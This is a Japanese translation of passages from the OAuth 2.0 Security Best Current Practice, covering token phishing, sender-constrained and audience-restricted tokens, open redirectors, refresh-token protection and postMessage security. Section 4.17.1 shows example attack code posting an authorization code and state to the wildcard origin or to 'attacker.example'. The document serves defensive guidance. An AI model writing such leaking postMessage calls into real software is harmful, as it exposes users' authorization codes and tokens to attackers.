したがって、認可サーバーはこの攻撃を緩和 MUSTしなければならない。¶

認可サーバーの観点からは、上記の攻撃では、 その認可コードが発行されたOAuthフローの認可リクエストに code_challengeパラメーターが存在しなかったにもかかわらず、 トークンエンドポイントでcode_verifierパラメーターが受信される点に注意すること。¶

この事実は、この攻撃を緩和するために使用できる。 [RFC7636]はすでに次を義務付けている。¶

• PKCEをサポートする認可サーバーは、 認可リクエストにcode challengeが含まれているかどうかを検査し、 この情報を発行されるコードに結び付け MUSTる。および¶
• コードがトークンエンドポイントに到着し、 このコードが発行された認可リクエストにcode_challengeが存在した場合、 トークンリクエストには有効なcode_verifierが存在しなければならない。¶

これに加えて、PKCEダウングレード攻撃を防止するため、 認可サーバーは、認可リクエストにcode_challengeが存在しなかった場合、 code_verifierを含むトークンエンドポイントへのリクエストが拒否されることを保証 MUSTしなければならない。¶

PKCEの使用を（一般に、または特定のクライアントについて） 義務付ける認可サーバーは、このセキュリティ対策を暗黙的に実装している。¶

4.9.1. 偽造リソースサーバーによる アクセストークンフィッシング

攻撃者は自身のリソースサーバーを設定し、 他のリソースサーバーに対して有効なアクセストークンをそこへ送信するよう クライアントをだます可能性がある （Section 3の攻撃者 (A1)および (A5)を参照）。 クライアントが有効なアクセストークンをこの偽造リソースサーバーへ送信した場合、 攻撃者はそのトークンを使用して、リソース所有者に代わって他のサービスへアクセスできる。¶

この攻撃は、クライアントが開発時に1つの特定のリソースサーバー （およびそのURL）に結び付けられておらず、クライアントインスタンスに実行時に リソースサーバーURLが提供されることを仮定している。 この種の遅延バインディングは、クライアントが標準化されたAPI （たとえばメール、カレンダー、eHealth、またはオープンバンキング向け）を実装するサービスを 使用し、クライアントがユーザーまたは管理者によって設定される状況で典型的である。¶

4.9.2. 侵害された リソースサーバー

攻撃者は、特定のデプロイメントのリソースへアクセスするために リソースサーバーを侵害する可能性がある。このような侵害は、たとえばログファイルへの 部分的なアクセスから、当該サーバーの完全な制御まで幅があり、その場合、すべての制御を 回避し、すべてのリソースへアクセスできる。 攻撃者はまた、侵害されたシステム上に保持され、他のリソースサーバーへの アクセスに有効である可能性のある他のアクセストークンも取得できる。¶

サーバーシステムの堅牢化と監視によってサーバー侵害を防止することは、 標準的な運用手順と見なされるため、本文書の範囲外である。 Section 4.9は、 OAuth関連の侵害の影響と、捕捉されたアクセストークンのリプレイに焦点を当てる。¶

4.9.3. 対策

悪意ある行為者によるアクセストークンリプレイに対処するため、 実装者は次の対策を考慮すべきである。¶

• Section 4.10.1で 説明される送信者制約付きアクセストークンを使用 SHOULDして、攻撃者が他のリソースサーバー上で アクセストークンをリプレイすることを防止する。攻撃者が、Webサーバーログへの 読み取り専用アクセスのように、侵害されたシステムへの部分的なアクセスしか持たない場合、 送信者制約付きアクセストークンは侵害されたシステム上でのリプレイも防止できる可能性がある。¶
• Section 4.10.2で 説明されるオーディエンス制限を使用 SHOULDして、 捕捉されたアクセストークンの他のリソースサーバー上でのリプレイを防止する。¶
• リソースサーバーは、アクセストークンを 他の機微な秘密と同様に扱い、平文で保存または転送しては MUSTならない。¶

第一および第二の推奨事項は、アクセストークンが漏えいする他の シナリオにも適用される（Section 3の 攻撃者(A5)を参照）。¶

4.10.1. 送信者制約付きアクセストークン

名前が示すように、送信者制約付きアクセストークンは、 アクセストークンの適用範囲を特定の送信者に限定する。 この送信者は、リソースサーバーでそのトークンが受け入れられる前提条件として、 特定の秘密を知っていることを示す義務を負う。¶

典型的なフローは次のようになる。¶

1. 認可サーバーは、この特定のトークンを 特定のクライアントに結び付けるデータをアクセストークンに関連付ける。 この結び付けにはクライアントのアイデンティティを利用できるが、多くの場合、 認可サーバーはクライアントが知っている鍵素材（または鍵素材から導出されたデータ）を利用する。¶
2. この鍵素材は何らかの方法で配布されなければならない。 鍵素材は認可サーバーが結び付けを作成する前からすでに存在している場合もあれば、 認可サーバーがエフェメラル鍵を作成する場合もある。既存の鍵素材の配布方法は、 アプローチによって異なる。たとえば、X.509証明書を使用でき、その場合、 配布は登録プロセス中に明示的に行われる。または、鍵素材がTLSレイヤーで 作成および配布される場合もあり、その場合、TLS接続の設定中に自動的に行われる可能性がある。¶
3. リソースサーバーは、実際の所有証明検査を実装しなければならない。 これは通常、アプリケーションレベルで行われ、多くの場合、トランスポート層 （たとえばTLS）から提供される特定の素材に結び付けられる。リソースサーバーは、 所有証明のリプレイが不可能であることも保証しなければならない。¶

所有証明を使用する送信者制約付きアクセストークンの方法として、 OAuthワーキンググループによって定義され、実際に使用されているものが2つある。¶

• "OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens" [RFC8705]: この文書で規定されるアプローチは、クライアント認証と送信者制約付きアクセストークンの 両方に相互TLSを使用することを可能にする。送信者制約付きアクセストークンの目的では、 クライアントはその公開鍵のフィンガープリントによってリソースサーバーに対して識別される。 アクセストークンリクエストの処理中、認可サーバーはTLSスタックからクライアントの 公開鍵を取得し、そのフィンガープリントを対応するアクセストークンと関連付ける。 リソースサーバーも同様にTLSスタックから公開鍵を取得し、そのフィンガープリントを アクセストークンに関連付けられたフィンガープリントと比較する。¶
• "OAuth 2.0 Demonstrating Proof of Possession (DPoP)" [RFC9449]: DPoPは、アクセストークンおよびリフレッシュトークンに送信者制約を付けるための アプリケーションレベルの機構を概説する。これは、公開/秘密鍵ペアと アプリケーションレベルの署名に基づく所有証明を使用する。DPoPは パブリッククライアントで使用でき、コンフィデンシャルクライアントの場合には、 任意のクライアント認証方式と組み合わせることができる。¶

攻撃者がトークンと鍵素材の両方にアクセスできるようになると、 送信者制約付きトークンのセキュリティは損なわれる点に注意すること。 これは特に、破損したクライアントソフトウェアや（クライアントがブラウザー内で実行されている場合の） クロスサイトスクリプティング攻撃に該当する。鍵素材がハードウェアまたはソフトウェアの セキュリティモジュール内で保護されている、または（TLSスタックのように）間接的にしか アクセスできない場合、送信者制約付きトークンは少なくとも、クライアントがオフラインのとき、 すなわちセキュリティモジュールまたはインターフェイスが攻撃者に利用できないときに、 トークンの使用から保護する。これはアクセストークンだけでなくリフレッシュトークンにも適用される （Section 4.14を参照）。¶

4.10.2. オーディエンス制限付きアクセストークン

オーディエンス制限は、本質的にアクセストークンを 特定のリソースサーバーに制限する。認可サーバーはアクセストークンを 特定のリソースサーバーに関連付け、リソースサーバーは意図されたオーディエンスを 検証することになっている。アクセストークンが意図されたオーディエンスの検証に失敗した場合、 リソースサーバーは対応するリクエストの処理を拒否する。¶

一般に、オーディエンス制限はトークン漏えいの影響を制限する。 偽造リソースサーバーの場合には、以下で説明するように、フィッシングされたアクセストークンが 正当なリソースサーバーで悪用されることも防止できる可能性がある。¶

オーディエンスは、論理名または物理アドレス （URLなど）を用いて表現できる。フィッシングを防止するには、クライアントが リクエストを送信する実際のURLを使用する必要がある。フィッシングの場合、 このURLは偽造リソースサーバーを指す。攻撃者がアクセストークンを正当な リソースサーバー（異なるURLを持つ）で使用しようとすると、リソースサーバーは 不一致（誤ったオーディエンス）を検出し、リクエストの処理を拒否する。¶

認可サーバーがすべてのリソースサーバーのURLを知っている デプロイメントでは、認可サーバーは未知のリソースサーバーURLに対する アクセストークンの発行を単に拒否してもよい。¶

これが機能するためには、クライアントは意図するリソースサーバーを 認可サーバーに伝える必要がある。このために[RFC8707]の機構を使用できるか、または 情報をscope値（Section 3.3 of [RFC6749]）に エンコードできる。¶

URLの代わりに、リソースサーバーのX.509証明書の フィンガープリントをオーディエンス値として利用することも可能である。 この変種では、異なるCAから取得した有効なTLS証明書を使用して正当なリソースサーバーの URLを偽装しようとする試みも検出できる。リソースサーバーURLを認可サーバーから 隠すことは、プライバシー上の利点とも見なされ得る。¶

オーディエンス制限は、クライアント側で暗号を必要としないため、 より使いやすく見えるかもしれない。それでも、各アクセストークンが特定の リソースサーバーに結び付けられるため、クライアントは複数のリソースサーバーへ アクセスする際、単一のリソースサーバー固有のアクセストークンも取得する必要がある。 （[RFC8707]で規定される resource indicatorsは、これを達成するのに役立つ。） [TOKEN-BINDING]も、異なるtoken-binding IDを アクセストークンに関連付ける必要があるため、同じ性質を持っていた。 一方、OAuth 2.0の相互TLS [RFC8705]を使用すると、クライアントは複数の リソースサーバーでアクセストークンを使用できる。¶

オーディエンス制限、または一般的に言えば、 クライアントがアクセストークンをどこで使用したいかを認可サーバーに示すことは、 トークン漏えい防止の範囲を超える追加の利点を持つ点に注意すべきである。 それらにより、認可サーバーは、当該サーバー向けに特化して作成された形式および内容を持つ 異なるアクセストークンを作成できる。これは、構造化アクセストークンを使用する デプロイメントにおいて、大きな機能上およびプライバシー上の利点を持つ。¶

4.10.3. 考察: メタデータを介した漏えいの防止

認可サーバーは、アクセストークンを安全に使用できる場所について 追加情報をクライアントへ提供できる。このアプローチと、それが推奨されない理由を 以下で論じる。¶

最も単純な形では、認可サーバーが既知のリソースサーバーのリストを 公開する必要がある。次の例は、非標準のAuthorization Server Metadataパラメーター resource_serversを使用して示している。¶

HTTP/1.1 200 OK
Content-Type: application/json

{
  "issuer":"https://server.somesite.example",
  "authorization_endpoint":
    "https://server.somesite.example/authorize",
  "resource_servers":[
    "email.somesite.example",
    "storage.somesite.example",
    "video.somesite.example"
  ]
  ...
}

認可サーバーは、アクセストークンが有効なURLを トークンレスポンスで返すこともできる。次の例は、非標準の戻りパラメーター access_token_resource_serverを使用して示している。¶

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache

{
  "access_token":"2YotnFZFEjr1zCsicMWpAA",
  "access_token_resource_server":
    "https://hostedresource.somesite.example/path1",
...
}

この緩和戦略は、クライアントがセキュリティポリシーを強制し、 正当な宛先にのみアクセストークンを送信することに依存する。 OAuth関連のセキュリティ研究の結果（たとえば [research.ubc]および [research.cmu]を参照）は、 クライアント実装の大部分が、state検査のようなセキュリティ制御を 実装していない、または適切に実装できていないことを示している。 したがって、アクセストークンフィッシングの防止をクライアントに依存することも 失敗する可能性が高い。さらに、クライアントと認可サーバーおよびリソースサーバーの 比率を考えると、セキュリティ関連ロジックを可能な限りこれらのサーバーへ移すことが より実現可能なアプローチと見なされる。 明らかに、クライアントは全体的なセキュリティに貢献しなければならない。 しかし、4.10.1および4.10.2で説明されるような、関係当事者間の より良いバランスを提供する代替対策がある。¶

4.11.1. オープンリダイレクターとしての クライアント

クライアントはオープンリダイレクターを公開しては MUST NOTならない。攻撃者はオープンリダイレクターを使用して、 クライアントを指すURLを生成し、それを利用して Section 4.1.2で説明されるように 認可コードおよびアクセストークンを流出させる可能性がある。 別の悪用ケースは、クライアントを指しているように見えるURLを生成することである。 これにより、ユーザーはそのURLを信頼してブラウザーで開くようだまされる可能性がある。 これはフィッシングに悪用できる。¶

オープンリダイレクションを防止するため、クライアントは、 ターゲットURLが許可されている場合、またはリクエストの起源および完全性を認証できる場合に のみリダイレクトすべきである。オープンリダイレクションに対する対策は OWASP [owasp.redir]で説明されている。¶

4.11.2. オープンリダイレクターとしての 認可サーバー

クライアントと同様に、攻撃者はフィッシング攻撃を行うために、 ユーザーの認可サーバー（特にそのURL）への信頼を利用しようとする可能性がある。 OAuth認可サーバーは通常、ユーザーを他のWebサイト（クライアント）へリダイレクトするが、 それを安全に行わなければならない。¶

Section 4.1.2.1 of [RFC6749]はすでに、 client_idとredirect_uriの組み合わせが無効な場合、 認可サーバーがユーザーエージェントを自動的にリダイレクトしては MUST NOTならないと述べることで、オープンリダイレクトを防止している。¶

しかし、攻撃者は正しく登録されたリダイレクトURIを利用して フィッシング攻撃を行うこともできる。攻撃者は、たとえば動的クライアント登録 [RFC7591]を通じてクライアントを登録し、 次のいずれかの攻撃を実行できる。¶

1. たとえば無効なscope値を使用するなどして、 意図的に誤った認可リクエストを送信し、認可サーバーにユーザーエージェントを フィッシングサイトへリダイレクトさせる。¶
2. 攻撃者が制御するclient_idおよび redirect_uriを含む有効な認可リクエストを意図的に送信する。 ユーザーが認証した後、認可サーバーはユーザーにリクエストへの同意を促す。 ユーザーがリクエストの問題に気づいて拒否した場合でも、認可サーバーは ユーザーエージェントをフィッシングサイトへリダイレクトする。この場合、 ユーザーエージェントはユーザーが取った行動に関係なくフィッシングサイトへリダイレクトされる。¶
3. 攻撃者が制御するclient_idおよび redirect_uriを含む有効なサイレント認証リクエスト （prompt=none）を意図的に送信する。この場合、認可サーバーは ユーザーエージェントをフィッシングサイトへ自動的にリダイレクトする。¶

認可サーバーは、これらの脅威を防止するための予防措置を講じ MUSTなければならない。認可サーバーは常にまずユーザーを認証し、 サイレント認証ユースケースを除き、ユーザーをリダイレクトする前に、 必要に応じてユーザーにクレデンシャルを求め MUSTなければならない。認可サーバーは、自身のリスク評価に基づき、 リダイレクトURIを信頼できるかどうかを判断する必要がある。認可サーバーは、 URIの背後にあるコンテンツの信頼性および信用性、ならびにリダイレクトURIおよび その他のクライアントデータの出所を評価するために、内部または外部サービスを通じて行われる URI分析を考慮することができる。¶

認可サーバーは、リダイレクトURIを信頼する場合にのみ ユーザーエージェントを自動的にリダイレクト SHOULDする。URIが信頼されない場合、 認可サーバーはユーザーに通知し、ユーザーが正しい判断を行うことに依存 MAYできる。¶

4.14.1. 考察

リフレッシュトークンは攻撃者にとって魅力的な標的である。 なぜなら、特定のクライアントに付与されたアクセスの全範囲を表し、 特定のリソースにさらに制約されていないためである。 攻撃者がリフレッシュトークンを流出させ、それを正常にリプレイできる場合、 攻撃者はアクセストークンを発行し、リソース所有者に代わってそれらを使用して リソースサーバーへアクセスできる。¶

[RFC6749]は、 次を要求することで、すでに堅牢なベースライン保護を提供している。¶

• 転送中および保存中のリフレッシュトークンの機密性。¶
• 認可サーバーとクライアントの間で TLS保護された接続を介してリフレッシュトークンを送信すること。¶
• 可能であれば、認可サーバーが リフレッシュトークンと特定のクライアントとの結び付けを維持および検査し、 トークン更新中にこのクライアントを認証すること。および¶
• リフレッシュトークンが生成、変更、または推測できないこと。¶

[RFC6749]は、 それぞれのエラーコードおよびレスポンス挙動を定義することで、 リフレッシュトークンの有効期限および失効、ならびにリフレッシュトークンローテーションのような さらなる（実装固有の）セキュリティ対策の基盤も築いている。¶

本仕様は、[RFC6749]の 範囲を超える推奨事項および明確化を提供する。¶

4.14.2. 推奨事項

認可サーバーは、リスク評価に基づき、特定のクライアントへ リフレッシュトークンを発行するかどうかを判断 MUSTしなければならない。認可サーバーが リフレッシュトークンを発行しないと決定した場合、クライアントは認可コードグラントタイプのような 他のグラントタイプを利用することで新しいアクセストークンを取得 MAYできる。そのような場合、認可サーバーはユーザー体験を最適化するために、 Cookieおよび永続的グラントを利用できる。¶

リフレッシュトークンが発行される場合、それらのリフレッシュトークンは、 リソース所有者が同意したスコープおよびリソースサーバーに結び付けられ MUSTなければならない。これは、正当なクライアントによる権限昇格を防止し、 リフレッシュトークン漏えいの影響を低減するためである。¶

コンフィデンシャルクライアントについては、[RFC6749]がすでに、 リフレッシュトークンは発行先のクライアントによってのみ使用できることを要求している。¶

認可サーバーは、パブリッククライアントについて、 悪意ある行為者によるリフレッシュトークンリプレイを検出するために、次の方法のいずれかを利用 MUSTしなければならない。¶

• 送信者制約付きリフレッシュトークン: 認可サーバーは、 たとえば[RFC8705]または[RFC9449]を利用することで、リフレッシュトークンを 特定のクライアントインスタンスへ暗号的に結び付ける。¶

• リフレッシュトークンローテーション: 認可サーバーは、アクセストークン更新レスポンスごとに新しいリフレッシュトークンを発行する。 以前のリフレッシュトークンは無効化されるが、関係に関する情報は 認可サーバーに保持される。リフレッシュトークンが侵害され、その後攻撃者と 正当なクライアントの両方によって使用された場合、その一方が無効化された リフレッシュトークンを提示し、それによって認可サーバーに侵害を知らせる。 認可サーバーは、どちらの当事者が無効なリフレッシュトークンを提出したかを 判断できないが、アクティブなリフレッシュトークンを失効させる。 これにより、正当なクライアントに新しい認可グラントを取得させる代償を伴って、 攻撃を停止する。¶

  実装上の注意: リフレッシュトークンが属するグラントは、 リフレッシュトークン自体にエンコードされてもよい。これにより、認可サーバーは リフレッシュトークンが属するグラント、および拡張して失効させる必要があるすべての リフレッシュトークンを効率的に判断できる。認可サーバーは、この場合、たとえば 署名を使用して、リフレッシュトークン値の完全性を保証 MUSTしなければならない。¶

認可サーバーは、次のようなセキュリティイベントが発生した場合に、 リフレッシュトークンを自動的に失効 MAYさせることができる。¶

• パスワード変更、または¶
• 認可サーバーでのログアウト。¶

クライアントが一定期間非アクティブであった場合、 すなわち、リフレッシュトークンが一定期間新しいアクセストークンの取得に使用されていない場合、 リフレッシュトークンは期限切れになる SHOULDである。有効期限は認可サーバーの裁量に委ねられる。 これはグローバルな値であっても、クライアントポリシーまたはリフレッシュトークンに関連付けられた グラント（およびその機微性）に基づいて決定されてもよい。¶

4.15.1. 対策

認可サーバーは、クライアントIDとユーザー識別子のための 共通名前空間が存在する場合、たとえば上記Section 4.15で示した [RFC9068]のsubクレーム例のような場合、 クライアントが自身のclient_idまたは本物のリソース所有者との混同を 引き起こし得るその他のクレームに影響を与えることを許可すべきでは SHOULD NOTない。これを回避できない場合、 認可サーバーは、リソースサーバーが2種類のアクセストークンを区別するための 他の手段を提供 MUSTしなければならない。¶

4.17.1. 例

ブラウザー内通信を使用する攻撃の次の非規範的な擬似コード例は、 [research.rub]で説明されている。¶

window.opener.postMessage(
  {
    code: "ABC",
    state: "123"
  },
  "*" // any website in the opener window can receive the message
)

window.opener.postMessage(
  {
    code: "ABC",
    state: "123"
  },
  "https://attacker.example" // attacker-provided value
)

4.17.2. 推奨事項

事前登録されたオリジンとクライアント受信者オリジンを比較する場合、 認可サーバーはSection 4.1.3で 説明される厳密な文字列照合を利用 MUSTしなければならない。 認可サーバーは、次の非規範的な例に示すように、信頼されたクライアント受信者オリジンへ postMessageを送信 MUSTしなければならない。¶

window.opener.postMessage(
  {
    code: "ABC",
    state: "123"
  },
  "https://client.example" // use explicit client origin
)

postMessage内の"*"のようなワイルドカードオリジンは使用しては MUST NOTならない。攻撃者がそれらを使用して、 被害者のブラウザー内メッセージを悪意あるオリジンへ漏えいさせることができるためである。 どちらの対策も、認可コードおよびアクセストークンの漏えい防止に寄与する （Section 4.1を参照）。¶

クライアントは、クライアント受信者エンドポイントにおける ブラウザー内メッセージの注入を防止 MUSTしなければならない。クライアントは、次の非規範的な例に示すように、 ブラウザー内メッセージの開始者オリジンを認可サーバーオリジンと比較するために、 厳密な文字列照合を利用 MUSTしなければならない。¶

window.addEventListener("message", (e) => {
  // validate exact authorization server origin
  if (e.origin === "https://honest.as.example") {
    // process e.data.code and e.data.state
  }
})

ブラウザー内通信フローは、異なる通信技術 （すなわちHTTPリダイレクトの代わりにpostMessage）を適用するだけであるため、 Section 2.1に列挙された認可レスポンスを保護するすべての対策は、 同様に適用され MUSTなければならない。¶